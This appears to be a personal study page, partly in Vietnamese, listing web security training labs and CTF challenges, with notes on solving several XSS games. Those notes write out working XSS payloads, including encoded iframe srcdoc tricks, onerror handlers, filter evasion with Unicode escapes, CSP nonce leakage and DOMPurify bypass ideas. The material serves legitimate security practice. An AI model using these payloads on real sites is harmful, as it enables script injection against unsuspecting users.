🤺 Web Security Practicing

Authentication oauth 2fa-bypass

• cyllective/oauth-labs: oauth-labs: an intentionally vulnerable set of OAuth 2.0 labs for security training and learning oauth-vulns
• [-] melonattacker/oauth-exploit-lab: Lab to understand OAuth v2 vulnerabilities and attack techniques. oauth-vulns
• [-] TryHackMe | OAuth Vulnerabilities: for premium users oauth-vulns
• [-] TryHackMe | Multi-Factor Authentication: for premium users 2fa-bypass
• [-] TryHackMe | Hammer: for premium users 2fa-bypass
• its-Marvin/weak2fa-for-ctf: Simple site with a bad implementation of 2FA for security CTF events 2fa-bypass
• BerkayAtass/2FA-Bypass-Lab: lab on two factor authentication 2fa-bypass
• SCIM Playground | scim.dev SCIM

CSPT CSPT

• doyensec/CSPTPlayground: CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).

XSS XSS

• XSS game

• [/] alert(1) to win. Saved game: https://alf.nu/alert(1)?world=alert&level=alert6#accesstoken=BHsfqd5yl3d3gXBP/PKI.

• [/] prompt(1) to win - 0x0

  • Level 0: "><iframe/onload=prompt(1) x="
  • Level 1: <img src=x onerror=prompt(1)<!--
  • Level 2: <script>eval.call`${'prompt\x281\x29'}`</script>. Reference: XSS-Payloads-1/Without-Parentheses.md at master · hunter0x8/XSS-Payloads-1.
  • Level 3: --!><script>prompt(1)</script>. Reference: Using HTML comments - “This text cannot start with the string > or ->, cannot contain the strings --> or --!>”. So, as the text inside can not be --!>, we will use this as the ending tag.

• XSS Challenges (by yamagata21) - Stage #1

• [/] YesWeHack - Dojo

  • Eventless: chuỗi script và các attribute bắt đầu bằng on bị replaced thành __BLACKLISTED__.
    • Payload ban đầu: <iframe srcdoc=&lt;script&gt;alert&lpar;1&rpar;&lt;&sol;script&gt;></iframe> (lấy từ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#iframe-srcdoc-html-encoded) với giá trị của srcdoc khi được HTML entity decoded sẽ là <script>alert(1)</script>.
    • Tiếp tục encode chuỗi script sử dụng HTML entity thì payload là <iframe srcdoc=&lt;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&gt;alert&lpar;1&rpar;&lt;&sol;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&gt;></iframe>. Sửa 1 thành flag là sẽ giải được challenge.
    • Solution cũng tương tự: <iframe srcdoc='<&#115;cript>alert(flag)</&#115;cript>'>.
    • Ngoài ra, cũng có thể include một external script: <iframe src="//external.js>.
  • InnerHTML: <img src=x onerror=alert(flag)>

• [/] Practice XSS Challenges Learn by Solving Real-World Payloads

  • Memo Sharing. Payload dùng để escape: "><script>alert(1)<%2Fscript>. Tồn tại CSP như sau: script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo='. Nó bị thiếu base-uri và có thể tấn công Dangling Markup Injection nhằm leak nonce của thẻ <script> ở bên dưới injection point. Ngoài ra, cũng có thể bypass việc sanitization của DOMPurify bằng cách sử dụng DOM Clobbering và clobber thuộc tính attributes.

• Re13orn/xss-lab: 20 level xss lab by network!!!

• tegal1337/0l4bs: Cross-site scripting labs for web application security enthusiasts

• PwnFunction/xss.pwnfunction.com: DOM XSS Game

• breakthenet/CTF-XSS: XSS cookie stealing challenge - single button deploy, just set your custom CTF Flag in the setup process!

• image2ascii2-ctfchallenge/index.py at main · Dev-AviSingh/image2ascii2-ctfchallenge

• 0x0elliot/XSS-CTF-With-Python: A Web CTF that was originally made for AppSec Village DEFCON 29 CTFs [5th August 2021 - 8th August 2021] and had the name “Send me something interesting!”

• [/] unescape() room

  • Level 1: <script>braveRobot('4')</script>
  • Level 2: <scRipt>p\u0072ettyRobot('43')</scRipt>. Lý do dùng payload này là do toàn bộ các chữ r trong input string đều bị bỏ đi. Đối với thẻ <script>, ta sẽ sử dụng chữ R (viết hoa) thay cho r (tag name trong HTML là case insensitive - HTML Standard). Đối với hàm prettyRobot mà ta cần gọi, ta sẽ thay thế r thành dạng Unicode của nó là \u0072.
  • Level 3: " onerror=pretty\u0052obot('290') x=". Level này xóa chữ R (viết hoa) và có context là bên trong attribute src của thẻ <img>.
  • Level 4: <script>braveHuman("5" + String.fromCharCode(56) + "5" + String.fromCharCode(50) + "9")</script>. Level này xóa số 8 và số 2 trong input string và mục tiêu là gọi hàm braveHuman với đối số là chuỗi "58529".
  • Level 5: <script>fa\u006ecyHuma\u006e("k6vzuk")</script>. Tương tự level 2 - sử dụng Unicode encode trong tên hàm.
  • Level 6: payload sử dụng là ";</style><scRipt>kindSupe\u0072He\u0072o("yanp04"+St\u0072ing.f\u0072omCha\u0072Code(51))</scRipt>. Dùng ";</style> là để escape ra khỏi context của thẻ <style>, thay thế r trong <script> thành R, thay thế 3 trong yanp043 (target) thành String.fromCharCode(51) và thay thế r trong các chỗ còn lại thành \u0072. Context nằm bên trong giá trị của một thuộc tính CSS có tên là background-color và CSS rule này nằm bên trong thẻ <style>. Output khi sử dụng payload trên là: <style> .banner {background-color: ";</style><script>kindSupe\u0072He\u0072o("yanp04"+St\u0072ing.f\u0072omCha\u0072Code(51))</script>
  • Level 7: payload sử dụng là x" onerrror="prettyFunction('q'+atob('bQ==')+'p7o2r9')" x=". Với context là nằm trong attribute src của thẻ <img>, 1 chữ r trong onerror bị xóa mất nên phải dùng tận 3 chữ r, chữ m cũng bị xóa nên ta dùng cộng chuỗi kết hợp với hàm atob('bQ==') với bQ== là dạng Base64 encoding của chữ m.

• terjanq/same-origin-xss: Same Origin XSS challenge

• SecurityMB’s Security Challenge: related to Bypassing Dir-Based CSP.

• SecurityMB’s XSS Challenge #2: mentioned in this: s1r1us - tangled_browsers

• SecurityMB’s XSS Challenge #3: related to Marginwidth/marginheight - the unexpected cross-origin communication channel - research.securitum.com

• SecurityMB’s XSS Challenge #4: prototype pollution and related to Prototype pollution - and bypassing client-side HTML sanitizers - research.securitum.com

• XSS Challenge #5: @securitymb@infosec.exchange on X: “The recent change in HTML standard motivated me to craft a quick XSS challenge. Can you pop an alert here? https://t.co/Smd5I4zO1N” / X

• XSS Gym - Train your XSS Muscles

SSRF SSRF

• incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack
• ProbiusOfficial/ssrf-labs: 【Hello-CTF labs】一个ssrf的综合靶场，包含RCE，SQL注入，Tomcat，Redis，MySQL提权等ssrf攻击场景
• Captain-K-101/Ssrf-labs: This Lab contain the sample codes Basic Labs related to Server-Side Request Forgery attack
• selectarget/SSRF_labs: 国光SSRF靶场 docker一键启动
• RishabhPathak93/SSRF-LABS
• shubham-s-pandey/ssrflabs: SSRF Labs script
• j0rd1s3rr4n0/FinSecure_Bank: 🏦 FinSecure Bank — Educational SSRF Demo Lab simulating a vulnerable fintech app to teach secure development and ethical hacking.
• TryHackMe | MD2PDF

LFI file-inclusion

• paralax/lfi-labs: small set of PHP scripts to practice exploiting LFI, RFI and CMD injection vulns
• Chocapikk/lfi-training: LFI Challenge - Capture The Flag (CTF)

SQL Injection SQLi

• breakthenet/HackMe-SQL-Injection-Challenges: Pen test your “friend’s” online MMORPG game - specific focus, sql injection opportunities
• netlight/security-challenge: SQL injection challenge
• digininja/nosqlilab: A lab for playing with NoSQL Injection
• incredibleindishell/sqlite-lab: This code is vulnerable to SQL Injection and having SQLite database. For SQLite database, SQL Injection payloads are different so it is for fun. Just enjoy it \m/
• himadriganguly/sqlilabs: Lab set-up for learning SQL Injection Techniques

SSTI SSTI

• Template Injection in Action

HTTP Request Smuggling http-request-smuggling

• BenjiTrapp/http-request-smuggling-lab: Two hacking challenges related to HTTP request smuggling

Cache Poisoning web-cache-poisoning E

• Web Cache Poisoning Lab
• No4l/Web-Poisoning: Web Cache Poisoning Lab

API

• theowni/Damn-Vulnerable-RESTaurant-API-Game: Damn Vulnerable Restaurant is an intentionally vulnerable Web API game for learning and training purposes dedicated to developers, ethical hackers and security engineers. API (try to use github.com/intruder-io/autoswagger).

Cloud

• Hacking-the-Cloud/htc-ctfs: Holds the public Hacking the Cloud CTFs.

Source Code Audit

• QL tutorials — CodeQL codeQL
• githubuniverseworkshops/codeql: CodeQL workshops for GitHub Universe ruby java c-cpp codeQL
• githubsatelliteworkshops/codeql: GitHub Satellite 2020 workshops on finding security vulnerabilities with CodeQL for Java/JavaScript. java javascript codeQL

Misc

• Semperis/EntraGoat azure
• dolevf/Damn-Vulnerable-GraphQL-Application: Damn Vulnerable GraphQL Application is an intentionally vulnerable GraphQL service implementation designed for learning about and practising GraphQL Security. graphql-vulns
• [-] snyk-labs/java-goof: chức năng upload file của todolist app không hoạt động được trong môi trường Docker. archive-attacks
• The XSS Bank
• The-XSS-Rat/RatDo
• Become a bug bounty hunter - Learn about web application vulnerabilities and how to find them on bug bounty programs | BugBountyHunter.com
• projectdiscovery/nuclei-templates-labs: Vulnerable environments paired with ready-to-use Nuclei templates for security testing and learning! 🚀
• VoorivexTeam/white-box-challenges